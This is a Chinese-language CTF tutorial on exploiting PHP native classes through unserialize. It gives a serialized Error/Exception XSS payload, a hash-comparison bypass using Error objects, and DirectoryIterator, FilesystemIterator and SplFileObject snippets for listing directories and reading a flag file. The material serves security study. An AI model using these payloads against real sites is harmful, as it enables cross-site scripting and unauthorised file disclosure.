PHP原生类怎么遍历
本篇内容主要讲解“PHP原生类怎么遍历”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP原生类怎么遍历”吧!
首先贴一个遍历php内置类的脚本
<?php$classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
结果:
整理一下:
ExceptionErrorExceptionErrorParseErrorTypeErrorArgumentCountError ArithmeticErrorDivisionByZeroErrorClosedGeneratorExceptionDateTimeDateTimeZoneDatePeriodDirectoryIteratorwakeup JsonExceptionwakeup LogicExceptionBadFunctionCallExceptionInvalidArgumentException OutOfRangeExceptionRuntimeExceptionOverflowExceptionRangeExceptionUnderflowExceptionGlobIteratorSplFixedArrayReflectionExceptionReflectionFunctionAbstractReflectionParameterReflectionMethodReflectionClassReflectionClassConstantReflectionZendExtensionAssertionErrorDOMExceptionPDOExceptionSimpleXMLElementmysqli_sql_exceptionPharExceptionPharDataPharFileInfo
大概就是这些类了,但是在ctf比赛中经常会用到的就是以下几类
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement
Error/Exception 内置类进行 XSS
error xss
__toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射形xss漏洞
demo:
<?php$a = unserialize($_GET['a']);echo $a;
poc
<?php$a = new Error("<script>alert('hacker')</script>");$b = serialize($a);echo urlencode($b);
输出了一串字符串
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
成功弹窗
exception xss
Exception是所有用户级异常的基类。 (PHP 5, 7, 8)
<?php$a = new Exception("<script>alert('hacker')</script>");$b = serialize($a);echo urlencode($b);?>
和error的pop的构造好像是一样的(exception适用于php5和7,error只适用于php7),把error换成exception就行了。依然成功弹窗
Error/Exception 内置类绕过哈希比较
通过构造这两个类可以啊绕过md5()和sha1()函数。error和exception都有一个重要方法:_tostring,用于将异常对象转换为字符串。
同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法
<?php$a = new Error("payload",1);$b=new Error("payload",2);echo $a."<br>";echo $b."<br>";
输出结果
可以看出,payload后面的参数并不影响输出的结果。正是通过这个可以绕过哈希函数。
<?php$a=new Error("payload",1);$b=new Error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)) { echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等\n";}
soapclient
soap的定义
简单对象访问协议含义
这里之所以说是简单,是因为它是基于已经广泛使用的两个协议:HTTP和XML,所以业界把这种技术称为“它是第一个没有发明任何新技术的技术",之所以说是对象,是因为把访问的Web服务称为对象,既然服务是对象,那么服务肯定有相关的属性和调用行为,这些属性和行为是通过WSDL来描述的。如果按“简单的对象访问协议”来理解,相比“简单对象访问协议”要容易些
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
php原生文件操作类
目录遍历
DirectoryIterator
__toString 获取字符串形式的文件名 (PHP 5,7,8)
例如:
<?php$a = new DirectoryIterator("/");foreach($a as $b){ echo($b.'</br>');}echo $a;
输出指定目录里面经过排序之后的第一个文件名
使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历
<?php$a = new DirectoryIterator("glob://*");foreach ($a as $b){ echo $b.'<br>';}
利用foreach能遍历所有的文件
<?php$a = new DirectoryIterator("glob:///*");foreach ($a as $b){ echo $b.'<br>';}
多一个斜杠,目录往前一个。
FilesystemIterator 类
FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的使用方法与DirectoryIterator 类也是基本相同的:
<?php$a = new FilesystemIterator("glob:///*");foreach ($a as $b){ echo $b.'<br>';}
文件读取
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php$a = new SplFileObject('flag.txt');echo $a;
输出多行
<?php$a = new SplFileObject('flag.txt');foreach($a as $f){ echo($f);}
到此,相信大家对“PHP原生类怎么遍历”有了更深的了解,不妨来实际操作一番吧!这里是编程网网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341